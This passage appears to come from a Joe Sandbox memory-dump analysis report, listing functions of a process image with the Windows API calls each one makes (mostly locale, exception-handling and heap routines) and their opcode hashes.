Instruction Fuzzy Hash: F5E039B6150118BEEB149FA0CC0BEEA7BADEB04790F008114BD05E2190E6B0AE408BA0

Function 00B13827 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00B0AE3C: GetLastError.KERNEL32(?,00000008,00B103BC), ref: 00B0AE40
Part of subcall function 00B0AE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00B0AEE2

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B1387B
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B138C5
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B1398B

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 56fbe49605d4a3722477a0028ffe436152b59836172d6ffa990f282b67b29549
Instruction ID: 550b3c395ee047d4e296d6b8a18a59c3d86919acc80782b97f985bb30549e30c
Opcode Fuzzy Hash: 56fbe49605d4a3722477a0028ffe436152b59836172d6ffa990f282b67b29549
Instruction Fuzzy Hash: E261A271A102079BDB249F28CC86BFAB7E8EF05B40F5480E9E906D6185F775DAC5CB50

Function 00AFC3B6 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00AFC4AE
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00AFC4B8
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 00AFC4C5

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 53618520ec771d9db03bc8a05bde40d9130a56a1f9d04735b71ffdb99bdbca12
Instruction ID: 0bc64c0eace4f3da05e8c52977d0e22871ac2b28c5595be156f48f7809923406
Opcode Fuzzy Hash: 53618520ec771d9db03bc8a05bde40d9130a56a1f9d04735b71ffdb99bdbca12
Instruction Fuzzy Hash: 3E31B27490122CABCB21DF65D98979DBBB8BF08310F5081EAF50CA7251EB749F858F44

Function 00AD1D70 Relevance: 4.6, APIs: 3, Instructions: 65COMMON

Download Yara Rule

APIs

LoadResource.KERNEL32(00000000,00000000,6E9B59AC,00000001,00000000,?,00000000,00B19360,000000FF,?,00AD1D1C,00000010,?,?,?,-00000010), ref: 00AD1D9B
LockResource.KERNEL32(00000000,?,00AD1D1C,00000010,?,?,?,-00000010,00B19340,000000FF,?,00AD202C,?,00000000,00B1938D,000000FF), ref: 00AD1DA6
SizeofResource.KERNEL32(00000000,00000000,?,00AD1D1C,00000010,?,?,?,-00000010,00B19340,000000FF,?,00AD202C,?,00000000,00B1938D), ref: 00AD1DB4

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Resource$LoadLockSizeof
String ID:
API String ID: 2853612939-0
Opcode ID: 0a1c88bda347afacdc7df8fcd7eafebc52f5aa25faa1b0e7d2af765deeaf192b
Instruction ID: 60b499f5831f9e1971adc626d28405833aa073f0dd860e699e1844df13fe69c2
Opcode Fuzzy Hash: 0a1c88bda347afacdc7df8fcd7eafebc52f5aa25faa1b0e7d2af765deeaf192b
Instruction Fuzzy Hash: FA11E732A00654ABC7249F19DC45BAAF7ECE789B10F40492BEC56D3340EB359D008690

Function 00B038A0 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55ed78c7c429dff4e87f4ebae4af2bdfb9d68bf7abf48bfa11f875b6aae70124
Instruction ID: af42f694db87d79f44f69ba9720b03cc0e6cd63a8686d32e33a019a347d296cf
Opcode Fuzzy Hash: 55ed78c7c429dff4e87f4ebae4af2bdfb9d68bf7abf48bfa11f875b6aae70124
Instruction Fuzzy Hash: A8F13F71E002199FDF14CF69C8846ADBBF5FF88724F1582A9E815AB390D731AE45CB90

Function 00B0D192 Relevance: 1.9, APIs: 1, Instructions: 410timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00B0D5D7,00000000,00000000,00000000), ref: 00B0D496

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: InformationTimeZone
String ID:
API String ID: 565725191-0
Opcode ID: 8806cc6fac762eb56653c789aa448ea76ebc2432b8ac3b0d46ff73b6ac52d7d7
Instruction ID: 65c2fbd1323095828e5afcddac9deb096d4491b431a8058d92f4e80cc8bb8615
Opcode Fuzzy Hash: 8806cc6fac762eb56653c789aa448ea76ebc2432b8ac3b0d46ff73b6ac52d7d7
Instruction Fuzzy Hash: A1D1E572900215AADB20AFE4DC42ABE7FF9EF14710F6540A6F905E72D1EB709E41CB94

Function 00B0DB30 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00B0DB2B,?,?,00000008,?,?,00B16AD4,00000000), ref: 00B0DD5D

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: f4ee5875562b019cce59b7ad83cc654e675451f529fe6977aee4c08744bd5169
Instruction ID: 13273d3b28e42d716d9269cef9e396a7bcfdebfe6983daffa3052d47851a38fe
Opcode Fuzzy Hash: f4ee5875562b019cce59b7ad83cc654e675451f529fe6977aee4c08744bd5169
Instruction Fuzzy Hash: DAB11A712106099FDB25CF68C48AB657FE0FF45364F258698E89ACF2E1C735E992CB40

Function 00AF801C Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00AF8032

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 374b5696b2adb4d46f0d6cb7165e718a0e6898eca2b6a5b62e44b59722acedb7
Instruction ID: c123f86a17d599a7a0e030e7ed5625339e53c34371ec2758343920845f1d5461
Opcode Fuzzy Hash: 374b5696b2adb4d46f0d6cb7165e718a0e6898eca2b6a5b62e44b59722acedb7
Instruction Fuzzy Hash: 4D519EB1A11219CBDB19CFA5E8857AEB7F0FB48300F24816AE500EB250DB79EA04CF54

Function 00AFFA8E Relevance: 1.6, Strings: 1, Instructions: 388COMMON

Download Yara Rule

Strings

0, xrefs: 00AFFC23

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 015b81619f0d21ffff6312f8a9d81b485f96244bf2ecb9f869b0ae3c4d41f21d
Instruction ID: 19d3609e696b233eabc769581950c9936301e3b771cb1dc625546bdf0b8821dd
Opcode Fuzzy Hash: 015b81619f0d21ffff6312f8a9d81b485f96244bf2ecb9f869b0ae3c4d41f21d
Instruction Fuzzy Hash: 6FE1BC3060060D8FCB24DFA8C580ABEB7F1FF49314F248669F65A9B2A1D730AD42CB55

Function 00AFF700 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00AFF88E

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 019cd3350c58bc5b674743875f7145230c53436d9c6d2d943534e6725c77e5cd
Instruction ID: 85a17ef500d67ba8b3d367031985f9202b0dac25be4a2e93770094cead1031e6
Opcode Fuzzy Hash: 019cd3350c58bc5b674743875f7145230c53436d9c6d2d943534e6725c77e5cd
Instruction Fuzzy Hash: 95C1E07090064E8FCB28EFA8C480A7EFBF1AF45354F244679F696972A1D730AD45CB91

Function 00B13A7A Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00B0AE3C: GetLastError.KERNEL32(?,00000008,00B103BC), ref: 00B0AE40
Part of subcall function 00B0AE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00B0AEE2

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B13ACE

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 76560efab023b9dc001b4d1584e4e451831d8067994e8301005ebb6c904dc8b6
Instruction ID: 82a631c0492339ffe2fdc51a42143294628d28897dab4fbf79f3d735c3978d82
Opcode Fuzzy Hash: 76560efab023b9dc001b4d1584e4e451831d8067994e8301005ebb6c904dc8b6
Instruction Fuzzy Hash: DD21B372615256ABDB18AB25DC42EFB77E8EF44B10F5040BAF905D6181FB34DE848750

Function 00B13701 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B0AE3C: GetLastError.KERNEL32(?,00000008,00B103BC), ref: 00B0AE40
Part of subcall function 00B0AE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00B0AEE2

EnumSystemLocalesW.KERNEL32(00B13827,00000001,00000000,?,-00000050,?,00B13E58,00000000,?,?,?,00000055,?), ref: 00B13773

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 92967064135e8c6034085761a123a4cefb2bbd96de3ce25672b5a0a8c4e337e5
Instruction ID: e172b54010cd2775d174b75a134c59480b89f3a3a657a176575901c4058380f5
Opcode Fuzzy Hash: 92967064135e8c6034085761a123a4cefb2bbd96de3ce25672b5a0a8c4e337e5
Instruction Fuzzy Hash: 9711E9BB6007055FDB18AF39C8919FABBD1FF84768B54446CE54647A80E771AE82C740

Function 00B13CA9 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00B0AE3C: GetLastError.KERNEL32(?,00000008,00B103BC), ref: 00B0AE40
Part of subcall function 00B0AE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00B0AEE2

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00B13A43,00000000,00000000,?), ref: 00B13CD5

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 35f85900efa2d7cfcba19cfad228bc428d4f8ee2217d66b61fd053fecb143b38
Instruction ID: ca1cfa2f2ef16cbf6f3dfb43ce70e69bbbd9b6d6ed3faf1153288c34a2cb8050
Opcode Fuzzy Hash: 35f85900efa2d7cfcba19cfad228bc428d4f8ee2217d66b61fd053fecb143b38
Instruction Fuzzy Hash: 06F08632600215BBDB245725DC46AFA7BE8EB40B54F6544B4EC06A3180FA74FE82C690

Function 00B1379C Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B0AE3C: GetLastError.KERNEL32(?,00000008,00B103BC), ref: 00B0AE40
Part of subcall function 00B0AE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00B0AEE2

EnumSystemLocalesW.KERNEL32(00B13A7A,00000001,?,?,-00000050,?,00B13E1C,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00B137E6

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: d05be0a4cd3c78080bcaaa9561d86067f66d2dbe05f18624e3885d722b519944
Instruction ID: d78b6f820b80ae87e7119da0d376af37ea33b8542868652f5ebba78a0e1dd549
Opcode Fuzzy Hash: d05be0a4cd3c78080bcaaa9561d86067f66d2dbe05f18624e3885d722b519944
Instruction Fuzzy Hash: B0F0C8B63003046FDB149F39D885ABA7BD5FF80B68B55446CF94547690E6719D428610

Function 00B0C7A2 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 00B072CA: EnterCriticalSection.KERNEL32(?,?,00B1163A,00000000,00B311A8,0000000C,00B11601,?,?,00B0C75E,?,?,00B0AFDA,00000001,00000364,?), ref: 00B072D9

EnumSystemLocalesW.KERNEL32(Function_0003C795,00000001,00B310C8,0000000C,00B0CBC4,?), ref: 00B0C7DA

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 260547ac1b767fd1411ce792dcb31d7c79b5a4537532a2393d511556c60fde3a
Instruction ID: 96e14b5878c38fa46f0a2d559a40f6e8839c1f502c5cc8aaa0b6e0b5fc51bbb0
Opcode Fuzzy Hash: 260547ac1b767fd1411ce792dcb31d7c79b5a4537532a2393d511556c60fde3a
Instruction Fuzzy Hash: F3F03772A00214EFD710EF98E842B9D7BF0FB08720F20815AF4109B2E0DF7559448F40

Function 00AF71C1 Relevance: 1.5, APIs: 1, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(?,00000022,00000000,00000002,?,?,00AF4EEC,00000000,00B2B6C9,00000004,00AF3D92,00B2B6C9,00000004,00AF41A5,00000000,00000000), ref: 00AF71DA

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 638454c095f62aae10af08532e7a28eee662139a461ab88e75c4218d76a63bb6
Instruction ID: 45e72896ed27497437bdbc08f07706798f41833543046091b76bb842a545ed74
Opcode Fuzzy Hash: 638454c095f62aae10af08532e7a28eee662139a461ab88e75c4218d76a63bb6
Instruction Fuzzy Hash: 14E0D872698208B6D7159BFC9D1FFFE7AE8D70470AF504241F702E50D1DAA4CB00D265

Function 00B136B6 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B0AE3C: GetLastError.KERNEL32(?,00000008,00B103BC), ref: 00B0AE40
Part of subcall function 00B0AE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00B0AEE2

EnumSystemLocalesW.KERNEL32(00B1360F,00000001,?,?,?,00B13E7A,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00B136ED

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: d1f9153c6c32538367507ec004c2ebabb7e0a25cdf000d232a35d80fd7d16bb3
Instruction ID: 1dc0022e465d1c338e1a15907cfd70ae165f6aa5030581050ab6134e6db24b7a
Opcode Fuzzy Hash: d1f9153c6c32538367507ec004c2ebabb7e0a25cdf000d232a35d80fd7d16bb3
Instruction Fuzzy Hash: 1FF0E53630024967CB04AF39D8566AA7FD4EFC1B10B9A4098EA058B390D671D983C750

Function 00B0CD1F Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00B0A4B1,?,20001004,00000000,00000002,?,?,00B09AB3), ref: 00B0CD53

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: d50adc65c9ccfa2bf58e64ee2411d6004d54fa01d28652cc2144fdfaf4bdb00b
Instruction ID: 8981456a03a9fb9155c8609f85213886db6375abe52bfe2c05331e7e5a5e2ea3
Opcode Fuzzy Hash: d50adc65c9ccfa2bf58e64ee2411d6004d54fa01d28652cc2144fdfaf4bdb00b
Instruction Fuzzy Hash: 15E04F35500218BBCF122F60DC04AAE7F56EF44750F108261FD05671A1CF319D21AAD4

Function 00AF8553 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0002855F,00AF7E51), ref: 00AF8558

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: e6bd75025b24bd15b9d4ec24c857948da2706436ae6e08cbea7259edc016c540
Instruction ID: 18cc76077467091292bad09a354230491cdedf2cf4509519acb5875d5ac4dfc3
Opcode Fuzzy Hash: e6bd75025b24bd15b9d4ec24c857948da2706436ae6e08cbea7259edc016c540
Instruction Fuzzy Hash:

Function 00B11533 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00B11533

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 4debaf1e72de13aa3b111d1bdf0df9fa55ebf2d2269333cb961e1609d1bef54c
Instruction ID: 4d194422aeaf06c9818e74a8acbd61d8f5f9bdeea7c8eda562f82e800d1d0ce2
Opcode Fuzzy Hash: 4debaf1e72de13aa3b111d1bdf0df9fa55ebf2d2269333cb961e1609d1bef54c
Instruction Fuzzy Hash: E7A001B06026119BE7908F7AAA0A24E3AA9AA46691795C169A405D7260EE2884A09F01

Function 00B06078 Relevance: .7, Instructions: 655COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: be38b7a26d08611aa2ea31345a83c278132bfa6209997761a86c1b4acfd6cd2c
Instruction ID: 0782a3c1417c164d8cdfaa2a199b68ef21bcaad292a7dd5be13ac5c25ec4c933
